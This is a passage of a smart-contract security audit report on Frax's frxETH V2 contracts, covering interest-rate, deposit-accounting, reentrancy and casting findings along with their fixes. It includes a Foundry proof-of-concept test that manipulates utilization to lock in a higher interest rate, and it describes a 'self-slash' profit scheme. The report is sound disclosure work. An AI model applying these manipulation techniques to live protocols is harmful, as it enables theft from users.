        (rate, fullRate) = ir.getNewRate(0, util, 158_247_046 * 2 * 80);
        console.log(util / 1e3, rate / 1e8, fullRate / 1e8);
    }
}
```

```
  70 49 253
  75 51 253
  80 52 253
  85 53 253
```

```
90 55 253
95 56 253
100 57 253
```

Full Utilization should have a rate of 253e8, but instead is just 57e8.

Recommendation: Adjust the value down to `85e3` to represent 85%.

Frax: Fixed as recommended in commit 4f7f04b.

Frax Security Cartel: Verified.

3.3.4 Interest rate may be permanently manipulated due to configuration

Description: The VariableInterestRate contract is responsible for calculating the interest rates for the lending pool. It performs two layers of calculations:

1) If the utilization is less than the `MIN_TARGET_UTIL` or more than the `MAX_TARGET_UTIL`, it adjusts the full utilization rate up or down.
2) It then uses the new full utilization rate, along with the current utilization, to linearly calculate the actual current rate.

In the deployment script, `MIN_TARGET_UTIL = 1` (0.001%) and `MAX_TARGET_UTIL = 1e5 - 1` (99.999%). This almost turns off the functionality of the first step, since any time the utilization is between 0.001% and 99.999%, there will be no change in the full utilization rate (which is set to 100% upon deployment).

However, in the event that utilization is manipulated to reach either 0% or 100%, the full utilization rate would jump down or up (respectively). As long as utilization then returned into the range between 0.001% and 99.999%, it would then remain at this new rate. The only way for it to change again would be to return to one of those extreme values.

Proof of Concept:

The following test can be dropped into `03_TestCMBorrow.t.sol` to demonstrate the issue:

```
function testZach_FullUtilRateStuck() public {
    // remove amo so the calculations are simpler
    vm.prank(ConstantsDep.Mainnet.TIMELOCK_ADDRESS);
    etherRouter.removeAmo(address(curveLsdAmo));

    console.log("Starting Utilization: ", lendingPool.getUtilization(false, false));
    (,, uint64 fullUtilRate1) = lendingPool.currentRateInfo();
    console.log("Starting Full Util Rate: ", fullUtilRate1);
    vm.warp(block.timestamp + 10 days);

    console.log("******");

    uint etherRouterBalance = etherRouterAddress.balance;
    vm.prank(etherRouterAddress);
    payable(address(123)).transfer(etherRouterBalance);
```

```
    console.log("Midstream Utilization: ", lendingPool.getUtilization(false, false));
    lendingPool.addInterest(false);
    (,, uint64 fullUtilRate2) = lendingPool.currentRateInfo();
    console.log("Midstream Full Util Rate: ", fullUtilRate2);
    vm.warp(block.timestamp + 10 days);

    console.log("******");
    vm.prank(address(123));
    payable(etherRouterAddress).transfer(etherRouterBalance);

    console.log("Final Utilization: ", lendingPool.getUtilization(false, false));
    lendingPool.addInterest(false);
    (,, uint64 fullUtilRate3) = lendingPool.currentRateInfo();
    console.log("Final Full Util Rate: ", fullUtilRate3);
}
```

```
  Starting Utilization:  99997
  Starting Full Util Rate:  31649409200
  ******
  Midstream Utilization:  100000
  Midstream Full Util Rate:  71211216489
  ******
  Final Utilization:  99997
  Final Full Util Rate:  71211216489
```

Recommendation: If the intention is to "turn off" adjustments to the full utilization rate, use `0` and `1e5` as the values instead. Otherwise, set appropriate values where it is possible for utilization to fall outside the range in the normal course of operations.

Frax: Fixed by including realistic deploy values in commit 547d8dc, which also added an extra solvency check in `initialDepositValidator()`.

Frax Security Cartel: Verified.

3.3.5 Validator's deposits can skip `wasFullDepositOrFinalized` due to incorrect check

Description: When the validator makes a deposit with their own funds via `deposit()`, we increment `userDepositedEther` and then check the amounts in order to mark `wasFullDepositOrFinalized` as `true`.

```
// Update individual validator accounting
_depositInfo.userDepositedEther += uint96(_depositAmount);

// If this came in as a full 32 Eth deposit all at once, or the 4th 8 Eth deposit, mark it as
    complete
// Cannot simply use _depositInfo.userDepositedEther == 32 here because accessing the _depositInfo
    seems not to
// be correct here
if (_depositAmount == 32 ether || _depositInfo.userDepositedEther == 32) {
```

```
        _depositInfo.wasFullDepositOrFinalized = true;
    }
```

The check on `userDepositedEther` should check whether the balance is `32 ether`, rather than `32`.

As a side effect, this will also fix the situation mentioned in the comments that the `userDepositedEther` check wasn't always working, so will allow us to remove the `depositAmount == 32 ether` entirely.

Recommendation:

```
// Update individual validator accounting
_depositInfo.userDepositedEther += uint96(_depositAmount);

// If this came in as a full 32 Eth deposit all at once, or the 4th 8 Eth deposit, mark it as
    complete
- if (_depositAmount == 32 ether || _depositInfo.userDepositedEther == 32) {
+ if (_depositInfo.userDepositedEther == 32 ether) {
      _depositInfo.wasFullDepositOrFinalized = true;
  }
```

Note that we do not need to account for the situation where `userDepositedEther` grows greater than 32 ether, because the following check is already included below:

```
if (_depositInfo.userDepositedEther > 32 ether) revert CannotDepositMoreThan32Eth();
```

Frax: Fixed as recommended in commit afcd82b.

Frax Security Cartel: Verified.

3.4 Low Severity Findings

3.4.1 `setVPoolValidatorCountsAndBorrowAllowances` does not enforce the optimistic allowance

Description: When applying a new borrow allowance to a validator pool, the optimistic allowance is calculated according to the number of approved validators and the effective credit allowed for each of these validators.

```
uint256 _optimisticAllowance = (uint256(_validatorPoolAccount.validatorCount) *
    (uint256(_validatorPoolAccount.creditPerValidatorI48_E12) * MISSING_CREDPERVAL_MULT));
```

Under all cases, the expected `_borrowedAmount` will be strictly less than or equal to the actual amount, meaning a `_maxAllowance` will be overstated, allowing for a borrow allowance that is higher than what is permissible.

Recommendation: Add an `_addInterest()` call early in the `setVPoolValidatorCountsAndBorrowAllowances()` function to ensure `totalBorrow` is up to date.

Frax: Fixed in commit d4a7040.

Frax Security Cartel: Verified.

3.4.2 `queueLengthSecs` can exceed `maxOperatorQueueLengthSeconds` when set in constructor

Description: When `queueLengthSecs` is set by any address besides the timelock, it is capped at `maxOperatorQueueLengthSeconds`:

```
function setQueueLengthSeconds(uint64 _newLength) external {
    _requireIsTimelockOrOperator();
    if (msg.sender != timelockAddress && _newLength > maxOperatorQueueLengthSeconds) {
        revert ExceedsMaxQueueLengthSecs(_newLength, maxOperatorQueueLengthSeconds);
    }

    ...

    redemptionQueueState.queueLengthSecs = _newLength;
}
```

However, there is no similar check in the deployment, which allows the non-timelock address performing the deployment to set it to any length.

Recommendation: It would be helpful to add a check to the constructor to ensure that the initial value is less than `maxOperatorQueueLengthSeconds`.

```
constructor(
    FraxEtherRedemptionQueueCoreParams memory _params,
    address payable _etherRouterAddress
)
    payable
    ERC721("FrxETHRedemptionTicket", "FrxETH Redemption Queue Ticket")
    OperatorRole(_params.operatorAddress)
    Timelock2Step(_params.timelockAddress)
{
    // Initialize some state variables
+   if (_params.initialQueueLengthSeconds > maxOperatorQueueLengthSeconds) {
+     revert ExceedsMaxQueueLengthSecs(_newLength, maxOperatorQueueLengthSeconds);
+   }
    redemptionQueueState.queueLengthSecs = _params.initialQueueLengthSeconds;
    ...
}
```

Frax: Fixed as recommended in commit 0be58eb.

Frax Security Cartel: Verified.

3.4.3 `sweepEther()` may send ETH to `address(0)`

Description: The `sweepEther()` function is a privileged function in the `EtherRouter`, and allows for transferring ETH to both the `redemptionQueue` and the `depositToAmoAddr`. To transfer to the `depositToAmoAddr`, the following logic is used:

```
// Send ETH to the AMO. Either 1) Leave it alone, or 2) Deposit it into cvxLP + vault it
if (_depositAndVault) {
    // Drop in, deposit, and vault
    IfrxEthV2AMO(depositToAmoAddr).depositEther{ value: _remainingEth }();
} else {
    // Drop in only
    (bool sent, ) = payable(depositToAmoAddr).call{ value: _remainingEth }("");
    if (!sent) revert EthTransferFailedER(2);
}
```

Since it is feasible that the system could be used without the `depositToAmoAddr` address being set, it is technically possible that the `else` branch would transfer ETH to `address(0)`.

Recommendation: Consider explicitly preventing this mistake by checking if `depositToAmoAddr` is non-zero:

```
+ if (depositToAmoAddr != address(0)) {
      // Send ETH to the AMO. Either 1) Leave it alone, or 2) Deposit it into cvxLP + vault it
      if (_depositAndVault) {
          // Drop in, deposit, and vault
          IfrxEthV2AMO(depositToAmoAddr).depositEther{ value: _remainingEth }();
      } else {
          // Drop in only
          (bool sent, ) = payable(depositToAmoAddr).call{ value: _remainingEth }("");
          if (!sent) revert EthTransferFailedER(2);
      }

      // Mark the getConsolidatedEthFrxEthBalance cache as stale for this AMO
      cachedConsEFxEBals[depositToAmoAddr].isStale = true;
+ }
```

Frax: Fixed in commit d2bb643 and commit 66c3f0b.

Frax Security Cartel: Verified.

3.4.4 Redemption fee can be removed from `etherLiabilities`

Description: In the `FraxEtherRedemptionQueue`, the `etherLiabilities` variable is incremented (and eventually decremented) by the full amount of each redemption. However, a small fee is deducted from each redemption on fulfillment, and this fee is claimed in the form of frxETH. As a result, the `etherLiabilities` variable will overestimate the actual ETH liability that the contract has.

This implies the contract will receive more ETH than it needs to fulfill all redemptions. Moreover, this means that there is no way for an external contract to know how much frxETH is currently queued to be burned, which may be important for utilization calculations.

Recommendation: Consider removing the redemption fee from the `etherLiabilities` accounting. To ensure that rounding issues do not appear in `partialRedeemNft()`, this may involve a refactor where the full fee amount is stored and proportionally decremented as the redemption is fulfilled.

Frax: Fixed in commit 7f50831.

Frax Security Cartel: Verified.

3.4.5 Cross-contract reentrancy concerns

Description: In the `FraxEtherRedemptionQueue` contract, there are `nonReentrant` guards on the `fullRedeemNft()`, `partialRedeemNft()`, and `_enterRedemptionQueueCore()` functions. This is important because the user is granted control flow in these functions, for example, in the `_safeMint()` callback of `_enterRedemptionQueueCore()`.

In addition to this, there are several external contracts that rely on the state of the `FraxEtherRedemptionQueue`. The most important is the utilization calculation in the `LendingPool` contract, which uses the redemption queue's `ethShortageOrSurplus()` function.

Since these external contracts use their own reentrancy guards, and since the view functions in the `FraxEtherRedemptionQueue` do not read from the queue's reentrancy guard, cross-contract reentrancy can be achieved. Fortunately, the important state of the `FraxEtherRedemptionQueue` appears to always be updated either entirely before or entirely after an unsafe external call, which makes this issue impossible to exploit.

Recommendation: Consider preventing future problems by exposing the queue's reentrancy guard publicly, so that external contracts can inspect the guard if needed. This can be implemented by adding the following function to the queue contract:

```
+ /// @notice Get the entrancy status
+ /// @return _isEntered If the contract has already been entered
+ function entrancyStatus() external view returns (bool _isEntered) {
+     _isEntered = _status == 2;
+ }
```

As part of this suggestion, consider adding a check for the queue's reentrancy guard in the lending pool's utilization calculation:

```
 function _getUtilizationPostCore(
     EtherRouter.CachedConsEFxBalances memory _cachedBals
 ) internal view returns (uint256 _utilization) {
+    require(!redemptionQueue.entrancyStatus());
     // Fetch relevant information
     (int256 _rqEthBalance, ) = redemptionQueue.ethShortageOrSurplus();
```

Frax: Fixed in commit 15bc0bc.

Frax Security Cartel: Verified.

3.4.6 Unsafe `uint128` casting

Description: The `_previewBorrow()` function in the `LendingPoolCore` contract accepts a `uint256 _allowanceAmount` argument, which it uses as follows:

```
if (uint128(_allowanceAmount) > _newValidatorPoolAccount.borrowAllowance) revert
    AllowanceWouldBeNegative();
else _newValidatorPoolAccount.borrowAllowance -= uint128(_allowanceAmount);
```

Since the casting to `uint128` can silently overflow, this logic can be tricked into thinking no allowance is being used because the number is so large.

Currently, only the `finalDepositValidator()` and `borrow()` functions make use of `_previewBorrow()`. The `finalDepositValidator()` function will always have `_allowanceAmount == 0`, so there is no issue. The `borrow()` function can technically reach this code with arbitrary user input for the `_allowanceAmount`, however, this would also result in the validator being extremely insolvent, and other reverts would therefore happen.

Recommendation: Although the issue does not currently appear exploitable, consider adding `uint128` safecasting for extra safety.

Frax: Fixed in commit fbbb11a.

Frax Security Cartel: Verified.

3.5 Informational Findings

3.5.1 Beacon oracle has considerable operator risks

Description: In the frxETH V2 system, it is crucial that the `BeaconOracle` operator behaves correctly, especially because of the following considerations:

- There is a need for allowances to be properly backed by user deposits before being made.
- Approvals only made on already deployed validator pool addresses and their public keys are checked to already hold some deposit.
- There is a need for validator counts to increase as soon as a user finalized their deposit. At the moment, validator counts can be arbitrarily increased.
- Some additional validation could be made when setting validator pool credits.
- There is a need to monitor signed exit messages and preemptively kick anyone if they are about to expire.

Recommendation: The implementation of this oracle operator is out of scope for this audit, so there is no immediate code change needed. It is strongly recommended that the operator's codebase also be audited.

3.5.2 Naming of borrow allowance variables and parameters are unclear

Description: It is unclear what the intended behaviour of `borrowAllowance` is and how this is meant to be handled in `_borrow()`. Borrows which are initiated by a validator pool finalizing an incomplete ETH2 deposit do not consume any allowance, however, borrows which are initiated from the validator pool contract via `ValidatorPool.borrow()` do in fact consume a borrow allowance.

Recommendation: Consider renaming `borrowAllowance` and the `_allowanceAmount` parameter in `_borrow()` to better reflect the actual implementation as it's behaviour is not similar to typical allowance approvals.

Frax: `borrowAllowance` can only be consumed once. When you exit, it doesn't free it up, you would have to re-deposit. It is useful, say, if you have 100 clean validators fully paid for with your own money, and you want to borrow, say 320 ETH to spin up 10 more. You can just do `LP.borrow()`, then 10x `VP.deposit(32 eth)`, and the end result would have been if you went 10x partial deposits (10x `VP.deposit()` + 10x `VP.requestFinalDeposit()`).

Frax Security Cartel: Acknowledged.

3.5.3 `frxETH` redemptions by the fee recipient leads to cyclical behavior

Description: Upon `frxETH` redemption, fees are generated for the fee recipient upon full or partial NFT redemptions. While in most cases, the fee recipient would swap `frxETH` for other assets on exchanges, there may be cases where they would need to redeem accrued fees for ETH directly via the protocol. Because fees are also generated for their redemption, it becomes a cyclical process of redeeming fees again and again.

Recommendation: Ensure it is understood that if the `frxETH` protocol would ever need to unwind in the future, the redemption fee would need to be set to zero before the fee recipient collects and redeems any fees that they have already generated.

Frax: In all likelihood we would just burn the fees or manually account / adjust them somehow.

Frax Security Cartel: Acknowledged.

3.5.4 Redemption fees cannot always be collected by the fee recipient

Description: The `collectRedemptionFees()` function requires that the sender is either the timelock or the operator. While it is true that on deployment, the default recipient is also the operator, this is likely to change when the timelock decides to appoint a new fee recipient address. Consequently, the fee recipient is no longer able to collect fees and must delegate this action to an approved account.

Recommendation: Consider creating a new require check similar to `_requireIsTimelockOrOperator()` which also includes the `feeRecipient` in the `msg.sender` check.

Frax: Fixed in commit a615b4f and commit 52a9723.

Frax Security Cartel: Verified.

3.5.5 Maximum validator credit should be lowered

Description: The following sanity checks exists in the `setVPoolCreditsPerValidator()` function:

```
// Make sure you are not setting the credit per validator to over 32 ETH
require(_newCreditsPerValidator[i] <= 32e12, "Credit per validator > 32 ETH");
```

This check ensures that no validator has their credit set above 32 ETH. However, note that even allowing a credit equal to 32 ETH could lead to problems in the code.

For one example, a credit equal to 32 ETH implies that an entire validator could be borrowed using the `finalDepositValidator()` function. However, this is impossible without first calling `initialDepositValidator()` to set the `validatorPoolAddress` storage variable. As a result, the full credit can't be used without an initial deposit anyway.

For a second example, a credit equal to 32 ETH implies that the validator has none of their own funds at stake. This means they have less incentive to perform their duties well, and in fact, they might be incentivized to perform poorly. Indeed, if a malicious user runs a validator using 32 borrowed ETH, they can profit by intentionally doing a slashable offense so that their own independent validator can claim the "whistleblower" reward. This reward is 1/512 of the offending validator's effective balance, meaning a malicious user could profit `(32 ether) / 512 = 0.0625 ether` for each "self-slash".

Recommendation: Since it would not make sense to have a validator credit of 32 ETH, consider lowering the maximum validator credit check in `setVPoolCreditsPerValidator()`. Also, keep in mind the consequences of each validator credit amount that is used, and ensure that users can never profit by intentionally "self-slashing".

Frax: Fixed in commit f019860.

Frax Security Cartel: Verified.

3.5.6 No checks for equal length arrays

Description: `LendingPool.sol` has a number of functions that the beacon oracle calls to set various parameters - such as validator counts, borrow allowances, pool credits, and approvals - for validator pools.

Each of these functions takes in multiple arrays, where the same index in each array is intended to represent the same validator.

There are no checks that the arrays are the same length. If the beacon oracle accidentally sends arrays where the array whose length is used for iteration over is longer than the others, it will revert due to out of bounds access. If the array being iterated over is shorter than the others, values in the others will be silently skipped.

Recommendation: Add checks to these functions to ensure each array is the same length.

Frax: Fixed as recommended in commit 7520038.

Frax Security Cartel: Verified.

3.5.7 Execution layer rewards considerations

Description: With Ethereum staking, validators accrue yield for two reasons:

1. For doing regular Beacon Chain duties. These payments result in a slow increase in the validator's balance on the Beacon Chain.
2. For proposing blocks and receiving priority fees + MEV tips. These payments are received directly on the execution layer (likely by the validator setting themselves as the `coinbase` of the proposed block, or in the case of flashbots, by the validator receiving a direct ETH transfer from the block builder).

In the case of (1), the ETH payment remains in the frxETH system, because it'll eventually need to go through the validator pool in a withdrawal. In the case of (2), it's not guaranteed that the validator sends this ETH to the validator pool, because they have full control over where this ETH goes. This is a known problem in the space and is difficult to solve. Rocket Pool has previously proposed a new `withdrawal_credentials` prefix that'd hardcode a `coinbase` value for a validator, but this doesn't solve the problem entirely, because side-channels could circumvent this.

In the case of frxETH, this consideration is relevant for only a small reason. When users fully pay off their borrowed funds, they are expected to use the `withdraw()` function to receive their remaining ETH from the validator pool. This function deducts a small fee from the withdrawal, determined by `lendingPool.vPoolWithdrawalFee()`. So, if a validator decides to direct their execution layer rewards to their own address (instead of the validator pool), they will ultimately bypass this withdrawal fee.

Since this fee is small, and since the execution layer rewards are only one part of the total validator yield, this potential problem appears negligible.

Recommendation: Keep this behavior in mind, and consider monitoring where execution layer rewards for frxETH validators ultimately end up. Also, consider enforcing the expected behavior by forcefully exiting validators who do not direct the funds to the appropriate locations.

Frax: Acknowledged.

Frax Security Cartel: Acknowledged.

3.6 Gas Optimizations

3.6.1 Reentrancy checked twice in withdrawal flow

Description: When we call `withdraw()` on a validator pool, the validator pool externally calls to the `lendingPool` to check if it's being reentered:

```
if (lendingPool.entrancyStatus()) revert ExternalContractAlreadyEntered();
```

However, it later calls `lendingPool.registerWithdrawal()`, which has its own reentrancy check:

```
function registerWithdrawal(
        address payable _endRecipient,
        uint256 _sentBackAmount,
        uint256 _feeAmount
    ) external nonReentrant {
    ...
}
```

Recommendation: The external call to check can be removed, saving gas.

Frax: Check removed in commit e7db438.

Frax Security Cartel: Verified.

3.6.2 `VERTEX_UTILIZATION` check can be moved to constructor

Description: In the `getNewRate()` function, a division by zero error is prevented with the following require statement:

```
require((UTIL_PREC - VERTEX_UTILIZATION) > 0, "UTIL_PREC - VERTEX_UTILIZATION cannot be 0.");

// 18 decimals
_newRatePerSec = uint64(
    _vertexInterest +
        ((_utilization - VERTEX_UTILIZATION) * (_newFullUtilizationInterest - _vertexInterest)) /
        (UTIL_PREC - VERTEX_UTILIZATION)
);
```

Since `UTIL_PREC` is a `constant` variable and `VERTEX_UTILIZATION` is an `immutable` variable, if this check is known to be true once, it will always be true. As a result, it would be equivalent to do this check in the `VariableInterestRate` constructor.

Recommendation: To save gas on calls to `getNewRate()`, consider moving the `(UTIL_PREC - VERTEX_UTILIZATION) > 0` require statement to the `VariableInterestRate` constructor.

Frax: Fixed in commit 3e8fa21.

Frax Security Cartel: Verified.

3.6.3 `withdrawalCredentials` and `lendingPool` can be marked `immutable`

Description: In the `ValidatorPool` contract, the `withdrawalCredentials` and `lendingPool` are currently storage variables. Since these values are set in the contract's constructor and cannot be changed afterward, marking these variables as `immutable` would save gas.

Recommendation: Change the `withdrawalCredentials` and `lendingPool` variables to be marked as `immutable`.

Frax: Fixed in commit 5e2fd55.

Frax Security Cartel: Verified.